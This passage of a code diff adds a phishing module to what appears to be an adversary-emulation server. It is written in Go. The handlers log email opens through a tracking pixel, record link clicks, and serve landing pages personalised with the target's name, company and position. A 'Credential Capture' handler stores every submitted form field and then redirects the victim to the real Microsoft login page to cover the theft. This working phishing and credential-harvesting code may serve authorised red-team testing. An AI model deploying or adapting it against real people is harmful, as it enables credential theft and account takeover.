+ result.OpenedAt = nowUnix()
+ result.UserAgent = r.UserAgent()
+ result.RemoteIP = getRemoteIP(r)
+ s.UpdateResult(campaignID, result)
+
+ go s.sendEvent("opened", map[string]interface{}{
+ "campaign_id": campaignID,
+ "result": result,
+ })
+ }
+ s.mu.Unlock()
+
+ w.Header().Set("Content-Type", "image/gif")
+ w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0")
+ w.Header().Set("Pragma", "no-cache")
+ w.Write(transparentGIF)
+}
+
+// ============================================================================
+// GET /cl/:id — Click Tracker
+// ============================================================================
+
+func (s *PhishingService) HandleClick(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ s.mu.Lock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ if result != nil && result.ClickedAt == 0 {
+ result.Status = statusMax(result.Status, "clicked")
+ result.ClickedAt = nowUnix()
+ result.UserAgent = r.UserAgent()
+ result.RemoteIP = getRemoteIP(r)
+ s.UpdateResult(campaignID, result)
+
+ go s.sendEvent("clicked", map[string]interface{}{
+ "campaign_id": campaignID,
+ "result": result,
+ })
+ }
+ s.mu.Unlock()
+
+ // Redirect to landing page
+ landerURL := fmt.Sprintf("/lp/%s", trackingID)
+ http.Redirect(w, r, landerURL, http.StatusFound)
+}
+
+// ============================================================================
+// GET /lp/:id — Landing Page
+// ============================================================================
+
+func (s *PhishingService) HandleLander(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ s.mu.RLock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ s.mu.RUnlock()
+
+ if result == nil {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ campaign, err := s.LoadCampaign(campaignID)
+ if err != nil {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ landerContent := s.loadLander(campaign.Lander)
+ if landerContent == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ submitURL := fmt.Sprintf("/sb/%s", trackingID)
+ replacer := strings.NewReplacer(
+ "{{.FirstName}}", result.FirstName,
+ "{{.LastName}}", result.LastName,
+ "{{.Email}}", result.Email,
+ "{{.Company}}", findTargetCompany(s, result.CampaignID, result.TargetID),
+ "{{.Position}}", findTargetPosition(s, result.CampaignID, result.TargetID),
+ "{{.TrackingID}}", trackingID,
+ "{{.SubmitURL}}", submitURL,
+ "{{.Subject}}", campaign.Subject,
+ )
+ html := replacer.Replace(landerContent)
+
+ w.Header().Set("Content-Type", "text/html; charset=utf-8")
+ w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0")
+ w.Write([]byte(html))
+}
+
+// ============================================================================
+// POST /sb/:id — Credential Capture
+// ============================================================================
+
+func (s *PhishingService) HandleSubmit(w http.ResponseWriter, r *http.Request) {
+ trackingID := extractPathID(r)
+ if trackingID == "" {
+ http.Error(w, "Not Found", http.StatusNotFound)
+ return
+ }
+
+ r.ParseForm()
+ formData := make(map[string]string)
+ for key, values := range r.PostForm {
+ if len(values) > 0 {
+ formData[key] = values[0]
+ }
+ }
+
+ submitJSON, _ := json.Marshal(formData)
+
+ s.mu.Lock()
+ result, campaignID := s.LoadResultByTrackingID(trackingID)
+ if result != nil {
+ result.Status = "submitted"
+ result.SubmitAt = nowUnix()
+ result.SubmitData = string(submitJSON)
+ result.UserAgent = r.UserAgent()
+ result.RemoteIP = getRemoteIP(r)
+ s.UpdateResult(campaignID, result)
+
+ go s.sendEvent("submitted", map[string]interface{}{
+ "campaign_id": campaignID,
+ "result": result,
+ })
+ }
+ s.mu.Unlock()
+
+ redirectURL := "https://login.microsoftonline.com"
+ if campaignID != "" {
+ if campaign, err := s.LoadCampaign(campaignID); err == nil && campaign.RedirectURL != "" {
+ redirectURL = campaign.RedirectURL
+ }
+ }
+
+ http.Redirect(w, r, redirectURL, http.StatusFound)
+}
+
+// ============================================================================
+// Helpers
+// ============================================================================
+
+// statusMax returns the "higher" status in the progression chain.
+func statusMax(current string, candidate string) string {
+ order := map[string]int{
+ "sent": 1,
+ "opened": 2,
+ "clicked": 3,
+ "submitted": 4,
+ }
+ if order[candidate] > order[current] {
+ return candidate
+ }
+ return current
+}
+
+func findTargetCompany(s *PhishingService, campaignID string, targetID string) string {
+ targets := s.LoadTargets(campaignID)
+ for _, t := range targets {
+ if t.ID == targetID {
+ return t.Company
+ }
+ }
+ return ""
+}
+
+func findTargetPosition(s *PhishingService, campaignID string, targetID string) string {
+ targets := s.LoadTargets(campaignID)
+ for _, t := range targets {
+ if t.ID == targetID {
+ return t.Position
+ }
+ }
+ return ""
+}
diff --git a/AdaptixServer/extenders/phishing_service/templates/default_email.html b/AdaptixServer/extenders/phishing_service/templates/default_email.html
new file mode 100644
index 000000000..dabea2c8d
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/templates/default_email.html
@@ -0,0 +1,54 @@
+
+
+
+
+
+
+
+